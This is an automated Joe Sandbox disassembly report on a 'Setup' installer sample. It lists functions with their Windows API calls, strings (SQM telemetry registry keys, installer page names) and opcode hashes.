Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLibrary$ErrorFileFindFirstFreeLastLoadmemset
String ID: Winhttp.dll
API String ID: 4214541343-1936088768
Opcode ID: 848bdb6ab4869d5e71ff47b52c6d9cf2bb527ffc054eca157d409f9b70cb8baa
Instruction ID: c737f089e59645e49148b202bd72a5b8e322aba8d429027c5baa4eca77d8b5f8
Opcode Fuzzy Hash: 848bdb6ab4869d5e71ff47b52c6d9cf2bb527ffc054eca157d409f9b70cb8baa
Instruction Fuzzy Hash: CC51F131245380EBCB45DF5CCC84FAA7AB5BB82358F670456F925DADA1C3B1E8848F58

Function 6C5D583D Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C5D5875
GetLongPathNameW.KERNEL32(00000000,?,00000104), ref: 6C5D58A7
CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 6C5E2890
GetLastError.KERNEL32(00000000,00000000,00000012,6C5E5B28,00000000), ref: 6C5E28C6
GetLastError.KERNEL32 ref: 6C5E28D1
GetLastError.KERNEL32 ref: 6C5E294D
GetLastError.KERNEL32(00000000,00000000,00000011,6C5E5B28,00000000), ref: 6C5E2967

Part of subcall function 6C5D58E8: GetFileAttributesW.KERNEL32(6C5D5892,?,6C5D5892,00000000), ref: 6C5D58F0

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLast$Path$AttributesCreateDirectoryFileLongNameTemp
String ID:
API String ID: 4207547965-0
Opcode ID: 32c47991f0299aa789022e533d97f38132653f1dfebae897be48f538ca4cde46
Instruction ID: 6dd0b867a507691da761e3df37ac1aeb5482eb95a7afbb87700d0fc3bddb0a80
Opcode Fuzzy Hash: 32c47991f0299aa789022e533d97f38132653f1dfebae897be48f538ca4cde46
Instruction Fuzzy Hash: B541B030241315ABCB159B558C48F9A3BF8EF4D358FA24452F825DAA61C371D8C48F69

Function 6C5E853A Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 110COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5E8568

Part of subcall function 6C5E8316: LocalFree.KERNEL32(?), ref: 6C5E8527

Part of subcall function 6C5E8097: memset.MSVCRT ref: 6C5E80D6
Part of subcall function 6C5E8097: memset.MSVCRT ref: 6C5E80EF

Strings

Microsoft\Windows\Sqm\Sessions, xrefs: 6C5E8579
*.sqm, xrefs: 6C5E8611
CabSessionAfterSize, xrefs: 6C5E854F
Microsoft\Windows\Sqm\Upload, xrefs: 6C5E8603
Software\Microsoft\SQMClient\Windows, xrefs: 6C5E8551
*.psqm, xrefs: 6C5E858E

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: memset$FreeLocal
String ID: *.psqm$*.sqm$CabSessionAfterSize$Microsoft\Windows\Sqm\Sessions$Microsoft\Windows\Sqm\Upload$Software\Microsoft\SQMClient\Windows
API String ID: 1741899810-2150350095
Opcode ID: 3bad25c55a68ab9d6a3b9021d295568c143bd2a1e8cc4f26575fe2568646cde1
Instruction ID: 50403fb065b02a6ae50b03bde4266bea2d7ad230dc0041018ef9d68c60bdb8db
Opcode Fuzzy Hash: 3bad25c55a68ab9d6a3b9021d295568c143bd2a1e8cc4f26575fe2568646cde1
Instruction Fuzzy Hash: FF310631601384AACB059A5C8CD4FBA37F9ABDD30CF7904ABE525D6E51C361CC498B52

Function 6C5D7B37 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 95COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D7B80

Part of subcall function 6C5D3E29: RegOpenKeyExW.ADVAPI32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6C5D3E94
Part of subcall function 6C5D3E29: RegQueryValueExW.ADVAPI32(00000000,00000002,00000000,?,?,00000004), ref: 6C5D3EB0
Part of subcall function 6C5D3E29: RegCloseKey.ADVAPI32(00000000), ref: 6C5D3ECE

Strings

IsTest, xrefs: 6C5D7BCC, 6C5D7BD1, 6C5DFC41
%s\%s, xrefs: 6C5DFBEF
Software\Policies\Microsoft\SQMClient, xrefs: 6C5D7B95
Software\Microsoft\SQMClient, xrefs: 6C5D7BA7, 6C5D7BD2, 6C5DFBD6, 6C5DFBEE
MSFTInternal, xrefs: 6C5D7B8F, 6C5D7B94, 6C5DFBD5
, xrefs: 6C5D7BBB

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValuememset
String ID: $%s\%s$IsTest$MSFTInternal$Software\Microsoft\SQMClient$Software\Policies\Microsoft\SQMClient
API String ID: 1830152886-857506278
Opcode ID: e49faafd55b5bad72aba25d28bd8e59eb975db4b3106408241cb8379e3f6d8d2
Instruction ID: 7cfe52dd5ae6b6a7605e3d9ff15ee608afd3e68795e3e7335656999662d0eb4f
Opcode Fuzzy Hash: e49faafd55b5bad72aba25d28bd8e59eb975db4b3106408241cb8379e3f6d8d2
Instruction Fuzzy Hash: CC31A3B094131CAADB10DB188C88FDAB7BCEB54348F1205E5A518E2651D770AE858FA9

Function 6C5D9C65 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 6C5D9CB8
LoadLibraryA.KERNEL32(?), ref: 6C5D9CEB
InterlockedCompareExchange.KERNEL32(00000000,00000000,00000000), ref: 6C5D9D02

Strings

$, xrefs: 6C5D9D27

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AddressCompareExchangeInterlockedLibraryLoadProc
String ID: $
API String ID: 792202920-3993045852
Opcode ID: 9fd410078508ca714adfe0aa4df8dcfe0b01ef4f47985d1eb5ad993435446cda
Instruction ID: d3ba9d27328f67a7e26c732e99191044bbc7f15291320348402759b72febacb4
Opcode Fuzzy Hash: 9fd410078508ca714adfe0aa4df8dcfe0b01ef4f47985d1eb5ad993435446cda
Instruction Fuzzy Hash: F3319E76A00304EFCB10DF59CC84B9ABBB5AF88315F268419E805AB650DB70F540CB98

Function 6395F6DE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6395F6E8
_memset.LIBCMT ref: 6395F714
_memset.LIBCMT ref: 6395F741
GetVersionExW.KERNEL32 ref: 6395F75A

Strings

Z, xrefs: 6395F776
rtf, xrefs: 6395F79E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: _memset$H_prolog3_Version
String ID: Z$rtf
API String ID: 3297208538-589749439
Opcode ID: 0ab49880ae6c9db1e92e26938c5bc11897aac1f60499000b9a12976ec296923e
Instruction ID: 08af1b8ec925619d6aaeea887e20d34501d2fc65cba8d92c3e78559d5b58fe36
Opcode Fuzzy Hash: 0ab49880ae6c9db1e92e26938c5bc11897aac1f60499000b9a12976ec296923e
Instruction Fuzzy Hash: AB3147B0901714CFEB71CF28C84069AB7F8BF0CB14F00495EE19A86640E770E694CF95

Function 6C5D3292 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 6C5D329D
VirtualFree.KERNEL32(?,?,00004000,00000000,?,6C5D3279,?,6C5D3238,00000000,?,?,00000000,00000000,?), ref: 6C5DB502
VirtualFree.KERNEL32(?,00000000,00008000,?,6C5D3279,?,6C5D3238,00000000,?,?,00000000,00000000,?), ref: 6C5DB511
ctype.LIBCPMT ref: 6C5DB52F
ctype.LIBCPMT ref: 6C5DB549

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: FreeVirtualctype$DecrementInterlocked
String ID:
API String ID: 2528146720-0
Opcode ID: c892f3d31ad6450e06aa055539de012177b7c4aa7e316afcca448243088974df
Instruction ID: 41fab7ee4e1d6c6be93d0e72c59eb558a0a729933651cb097c84319f8e8905be
Opcode Fuzzy Hash: c892f3d31ad6450e06aa055539de012177b7c4aa7e316afcca448243088974df
Instruction Fuzzy Hash: B411E270600706EFDB209F99CCC0A5AB7F9EF44344B22882DE15A93A41DB70FC01CB58

Function 63951B63 Relevance: 10.6, APIs: 7, Instructions: 62windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63951B6A
GetParent.USER32(00000065), ref: 63951B80

Part of subcall function 6394F415: GetDlgItem.USER32(?,00003024), ref: 6394F479
Part of subcall function 6394F415: GetWindowLongW.USER32(00000000,000000EB), ref: 6394F484
Part of subcall function 6394F415: SetWindowLongW.USER32(00000000,000000EB,00000001), ref: 6394F4C4

PostMessageW.USER32(00000065,00000028,00000000,00000000), ref: 63951BDF
SetWindowLongW.USER32(00000065,000000F4,00000065), ref: 63951BE7
GetParent.USER32(00000065), ref: 63951BF2
SetWindowTextW.USER32(00000000,?), ref: 63951BFA
PostMessageW.USER32(00000065,000006F5,00000000,00000000), ref: 63951C0B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$Long$MessageParentPost$H_prolog3ItemText
String ID:
API String ID: 870142269-0
Opcode ID: 2230bd172105746f44140bf67670935054b9e6e455d6c339116bab6b9c7b28b6
Instruction ID: ff6fccdd37d04db44e9c4f6dbe9e3ef91d90b27dcf5997b4537c34cd0efb566b
Opcode Fuzzy Hash: 2230bd172105746f44140bf67670935054b9e6e455d6c339116bab6b9c7b28b6
Instruction Fuzzy Hash: 47216375600206EFDB11EFA4CC88B99B7F9FF05B48F100525F25597191DB71A865CF80

Function 639530B1 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 63966041: __EH_prolog3.LIBCMT ref: 63966048
Part of subcall function 63966041: GetCommandLineW.KERNEL32(0000001C,639530C2,?), ref: 6396604D

RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,?,?,?), ref: 63953136

Strings

Uninstall, xrefs: 639530E8
CreateLayout, xrefs: 639530DA
UninstallPatch, xrefs: 639530D3
Repair, xrefs: 639530E1
Install, xrefs: 639530EF

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: CommandExceptionH_prolog3LineRaise
String ID: CreateLayout$Install$Repair$Uninstall$UninstallPatch
API String ID: 683617612-791770018
Opcode ID: 333b0aa4255d359c360ef78369b28e959f2e1b3d93fb5a8105961fb916531dd3
Instruction ID: 5168bcef98cb5badf4ed1ee0a6fce25311687d954dc7f3e4d83ac7f2b5a449ec
Opcode Fuzzy Hash: 333b0aa4255d359c360ef78369b28e959f2e1b3d93fb5a8105961fb916531dd3
Instruction Fuzzy Hash: 2701B533148748A7DA20DA39CD81F467759DB81FB8F194015FA548B241CB32D4F18F61

Function 6395FB4F Relevance: 10.6, APIs: 7, Instructions: 53windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395FB56
GetParent.USER32(00000001), ref: 6395FB6B
SendMessageW.USER32(00000000,00000481,00000001,00000000), ref: 6395FB78
GetParent.USER32(00000001), ref: 6395FBB5
SendMessageW.USER32(00000000,0000047E,?,?), ref: 6395FBC1
GetParent.USER32(00000001), ref: 6395FBD3
SendMessageW.USER32(00000000,00000480,?,?), ref: 6395FBDF

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageParentSend$H_prolog3
String ID:
API String ID: 1482283565-0
Opcode ID: 9fa2bda6f9f4ca3695e6e6e030af10893504dea16679fae5f1a967c637d3f58c
Instruction ID: 959c9bf678e25ee4366270c28c9c3ba87b5e7193be69cf779a4bdeb2ef28e42a
Opcode Fuzzy Hash: 9fa2bda6f9f4ca3695e6e6e030af10893504dea16679fae5f1a967c637d3f58c
Instruction Fuzzy Hash: 5A110471500709EFDB21EF64CC49B9EB7B6BF02B68F048914F1656A6A0C774E9A5CF40

Function 6394EE95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394EE9C
FreeLibrary.KERNEL32(00000000,0000000C,63965B81,?,?,?), ref: 6394EED4
LoadLibraryW.KERNEL32(?,0000000C,63965B81,?,?,?), ref: 6394EEE8
GetLastError.KERNEL32(00000000), ref: 6394EF03
__CxxThrowException@8.LIBCMT ref: 6394EF35

Strings

LoadLibrary, xrefs: 6394EEF9

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Library$ErrorException@8FreeH_prolog3LastLoadThrow
String ID: LoadLibrary
API String ID: 3026435860-2077302977
Opcode ID: a3ef2e548b7786846fa45497d6b9b769ad0441d60ee0e2a658b9e343fbb4c73e
Instruction ID: c7e70b4bf969fb0d733dab7e994b2c730314117e4845e5db101d01a551ae35e2
Opcode Fuzzy Hash: a3ef2e548b7786846fa45497d6b9b769ad0441d60ee0e2a658b9e343fbb4c73e
Instruction Fuzzy Hash: 60115E71905309DFEB11EF68C589B9EBBB8AF15B28F148154F8189F286C770DA14CFA1

Function 6395B6A5 Relevance: 10.5, APIs: 7, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6394E389: GetParent.USER32 ref: 6394E390
Part of subcall function 6394E389: PostMessageW.USER32(00000000,00000470,00000000,?), ref: 6394E3A1

Part of subcall function 6394E36B: GetParent.USER32(?), ref: 6394E36D
Part of subcall function 6394E36B: SendMessageW.USER32(00000000,0000046B,00000000,00000000), ref: 6394E37D

GetParent.USER32(00000069), ref: 6395B6D1
GetSystemMenu.USER32(00000000,00000000,0000F060,00000000,?,?,00000000,639620A8,00000001,?,63962023,?,000006F5,?,?,?), ref: 6395B6DD
EnableMenuItem.USER32(00000000), ref: 6395B6E4
SetWindowLongW.USER32(00000069,000000F4,00000069), ref: 6395B6F0
GetParent.USER32(00000069), ref: 6395B6FB
SetWindowTextW.USER32(00000000,?), ref: 6395B6FF
PostMessageW.USER32(00000069,000006F5,00000000,00000000), ref: 6395B710

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Parent$Message$MenuPostWindow$EnableItemLongSendSystemText
String ID:
API String ID: 2729316450-0
Opcode ID: a90fa06a61a015b3254a74af035c2212b1dd7e4ed897549361391f3a2146a9ca
Instruction ID: 67c1de841c835d5d58be5f1efe3eea117d38099652445163c4e6fcd3a22cf8e9
Opcode Fuzzy Hash: a90fa06a61a015b3254a74af035c2212b1dd7e4ed897549361391f3a2146a9ca
Instruction Fuzzy Hash: F5016D75244200BFEB20BBA5CC48F197BA9FB46B54F200410F240DB591D771A8218F88

Function 63964ECE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63964ED5

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Strings

SystemRequirement, xrefs: 63964F21
Progress Page, xrefs: 63964F1A
Eula, xrefs: 63964F28, 63964F3D
Welcome, xrefs: 63964F2F
None, xrefs: 63964EE3

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Eula$None$Progress Page$SystemRequirement$Welcome
API String ID: 431132790-1170989405
Opcode ID: d829e41b2d7f5e472e19e66a05fb5a991663cb501d6351a966740d6815b9041a
Instruction ID: aaab98782e6055e0709417ded815f70f699b63ae92bd09099e215e9b8eb61957
Opcode Fuzzy Hash: d829e41b2d7f5e472e19e66a05fb5a991663cb501d6351a966740d6815b9041a
Instruction Fuzzy Hash: E301A4F1A0230487AF11DFE8489007EB1A9AF9BD64BAA051AF150CB251C730CD02DF81

Function 63969AA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,63977FA8,00000008,63969BB6,00000000,00000000,?,6396B575,63969054,?,?,639691D6,?), ref: 63969ABA
__lock.LIBCMT ref: 63969AEE

Part of subcall function 6396EA00: __mtinitlocknum.LIBCMT ref: 6396EA16
Part of subcall function 6396EA00: __amsg_exit.LIBCMT ref: 6396EA22
Part of subcall function 6396EA00: EnterCriticalSection.KERNEL32(639691D6,639691D6,?,63969AF3,0000000D), ref: 6396EA2A

InterlockedIncrement.KERNEL32(83EC8B55), ref: 63969AFB
__lock.LIBCMT ref: 63969B0F
___addlocaleref.LIBCMT ref: 63969B2D

Strings

KERNEL32.DLL, xrefs: 63969AB5

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 082f556e15c90d1bc2a7ab817fac5a47227d2da3cf024c697bc1ea98d701b47b
Instruction ID: 660dfb9aeecbae2082d393e432b22b24226b8faaa44ab1bbe2079d209412818d
Opcode Fuzzy Hash: 082f556e15c90d1bc2a7ab817fac5a47227d2da3cf024c697bc1ea98d701b47b
Instruction Fuzzy Hash: 86016D71806B01AEF720DF65D94474AFBF0AF56B68F20890ED49697290CB70EA40CF14

Function 6397288F Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 639728B0

Part of subcall function 63969BE0: __getptd_noexit.LIBCMT ref: 63969BE3
Part of subcall function 63969BE0: __amsg_exit.LIBCMT ref: 63969BF0

__getptd.LIBCMT ref: 639728C1
__getptd.LIBCMT ref: 639728CF

Strings

csm, xrefs: 639728A9
MOC, xrefs: 639728A2
RCC, xrefs: 6397289B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: c95cb452513ca19a93679836afc226ef36163cfd16b51e0311ae908c2184dada
Instruction ID: 52ccf8b34fe6be199a4585349706aba3ab425332e65ab83197959d0c55e54485
Opcode Fuzzy Hash: c95cb452513ca19a93679836afc226ef36163cfd16b51e0311ae908c2184dada
Instruction Fuzzy Hash: 0DE012341282048FD7209774C09579833ECFF89B98F5914E5E45CCB3A2CB35E4908E52

Function 6C5D82AD Relevance: 9.2, APIs: 6, Instructions: 214COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D82E7
EnterCriticalSection.KERNEL32(?), ref: 6C5D82F8
LeaveCriticalSection.KERNEL32(?), ref: 6C5D8324
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 6C5E0D27
ctype.LIBCPMT ref: 6C5E0D8E

Part of subcall function 6C5D7C62: memmove.MSVCRT(?,?,?,?,?,6C5D8320,00000000), ref: 6C5D7C93

Part of subcall function 6C5DE3B3: EnterCriticalSection.KERNEL32(?,?,00000000,6C5D83DB,?), ref: 6C5DE3BD
Part of subcall function 6C5DE3B3: ctype.LIBCPMT ref: 6C5DE3CC
Part of subcall function 6C5DE3B3: LeaveCriticalSection.KERNEL32(?,?,00000000,6C5D83DB,?), ref: 6C5DE3EC

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CriticalSection$EnterLeavectype$ExceptionRaisememmovememset
String ID:
API String ID: 1998214256-0
Opcode ID: 0827f9c953721f8cd43fad442b37ee44db180ab04209c350d345a411fdf4bc3e
Instruction ID: 410892f303506308c51a4e534cd270f29b82f388331f718135a9fec6adc958a0
Opcode Fuzzy Hash: 0827f9c953721f8cd43fad442b37ee44db180ab04209c350d345a411fdf4bc3e
Instruction Fuzzy Hash: FD81AD30200380DFCB14DF58CD84E9A7BF5BBC9308F66449AE6698BAA0CB31E945DF44

Function 6C5E8316 Relevance: 9.2, APIs: 6, Instructions: 161COMMON

Download Yara Rule

APIs

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?,00000000,?,?), ref: 6C5E8442
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 6C5E8464
GetLastError.KERNEL32 ref: 6C5E8488
SetNamedSecurityInfoW.ADVAPI32(00000001,00000001,80000005,?,00000000,?,00000000), ref: 6C5E84B5
GetLastError.KERNEL32 ref: 6C5E84FE
LocalFree.KERNEL32(?), ref: 6C5E8527

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

